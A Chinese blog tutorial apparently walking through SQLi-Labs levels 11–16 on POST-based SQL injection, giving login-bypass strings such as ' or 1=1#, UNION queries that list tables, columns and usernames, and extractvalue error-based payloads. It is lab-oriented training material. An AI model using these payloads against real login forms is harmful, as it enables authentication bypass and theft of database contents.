SQL-LABS入门到放弃5(part1)

前言

前面的关卡都是基于get请求的,从这个关卡起,我们就要走进post注入的世界了,什么是post呢?就是数据从客户端提交到服务器端,例如在登录过程中输入的用户名和密码,这些数据以表单的形式提交到服务器端,然后在服务器端进行验证(一堆废话23333

基础知识

让我们来熟悉一下一次POST请求和数据库交互的过程吧。

  1. 提交正常的username和password

    1
    username=ju5tw4nty0u&password=12345
  2. 假设后台的sql查询语句为

    1
    @$sql="select username,password from users where username='$username' and password='$password' limit 0,1";
  3. 这是我们构造的语句为

    1
    @$sql="select username,password from users where username='ju5tw4nty0u' and password='12345' limit 0,1";
  4. 当我们提交的username和password为

    1
    username=ju5tw4nty0u'#&password=12345
  5. 这时查询语句为

    1
    @$sql="select username,password from users where username='ju5tw4nty0u'# 'and password='12345' limit 0,1";
  6. 可以看到#将后面的语句注释掉了,所以只要我们输入的用户名为ju5tw4nty0u时,就能够成功登陆;

  7. 当我们用户名也不知道的时候,可以构造ju5tw4nty0u' or 1=1#来实现登录;

这就是POST注入的基本原理了,让我们走进关卡,感受一下万能密码的妙用吧。

Less-11

  1. 当我们输入uname=ju5tw4nty0u’&passwd=123&submit=Submit时发现报错
    1
    your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1

可知这里对参数做了单引号的处理

  1. 我们可以构造username=ju5tw4nty0u'#&password=123来提交,发现成功登陆;

    1
    uname=ju5tw4nty0u' or 1=1#&passwd=123&submit=Submit
  2. 判断字段数

    1
    2
    3
    uname=admin' order by 3#&passwd=123&submit=Submit

    Unknown column '3' in 'order clause'
  3. 查当前数据库

    1
    uname=ju5tw4nty0u' union select 1,database()#&passwd=123&submit=Submit
  4. 查所有表

    1
    uname=ju5tw4nty0u' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=123&submit=Submit
  5. 查字段

    1
    uname=ju5tw4nty0u' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=123&submit=Submit
  6. 字段值

    1
    uname=ju5tw4nty0u' union select 1,group_concat(username) from users#&passwd=123&submit=Submit

Less-12

  1. 尝试输入uname=ju5tw4nty0u"发现报错,可知对ID参数做了双引号和括号的处理

    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1
  2. 可以构造uname=ju5tw4nty0u") or 1=1#&passwd=123&submit=Submit来绕过

  3. 查询数据库

    1
    uname=ju5tw4nty0u") union select 1,database()#&passwd=123&submit=Submit
  4. 以此类推,和less-11类似……

Less-13

  1. 尝试输入uname=ju5tw4nty0u'发现报错,可知对ID参数做了单引号和括号的处理

    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1
  2. 构造uname=ju5tw4nty0u') or 1=1#&passwd=123&submit=Submit发现登陆成功,不过没有回显具体内容,所以可以考虑使用盲注和报错注入;

  3. 使用报错注入查看当前users表的第三个字段(其余的参考less-5)

    1
    uname=ju5tw4nty0u') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e))#&passwd=123&submit=Submit
  4. 使用盲注的方法参考less-5,这里就不多赘述了;

Less-14

  1. 尝试输入uname=ju5tw4nty0u"发现报错,可知对ID参数做了双引号的处理

    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1
  2. 构造uname=ju5tw4nty0u" or 1=1#&passwd=123&submit=Submit

  3. 因为登陆成功后没有回显具体内容,所以还是使用盲注或者报错注入,参考less-5;

Less-15

  1. 随便输入判断,发现都没有报错,这里应该是限制了报错注入,当我们使用uname=admin'#&passwd=123&submit=Submit时,显示登陆成功,sql语句对id的处理是单引号;

    1
    uname=ju5tw4nty0u' or 1=1#&passwd=123&submit=Submit
  2. 页面没有回显具体内容,所以只能使用盲注来进行注入了,这里参考Less-5;

Less-16

  1. 随便输入判断,发现都没有报错,这里应该是限制了报错注入,当我们使用uname=admin")#&passwd=123&submit=Submit时,显示登陆成功,sql语句对id的处理是双引号和括号;

    1
    uname=ju5tw4nty0u") or 1=1#&passwd=123&submit=Submit
  2. 页面没有回显具体内容,所以只能使用盲注来进行注入了,这里参考Less-5;

后记

至此POST注入也就告一段落了,总的来说和GET注入是非常类似的,方法也是通用的,由于没有做什么过滤,所以几题做下来还是很轻松的,下一节我们就要讲讲数据库的增删改查了(233333

------ 本文结束感谢您的阅读 ------
坚持记录生活,您的支持将鼓励我继续创作!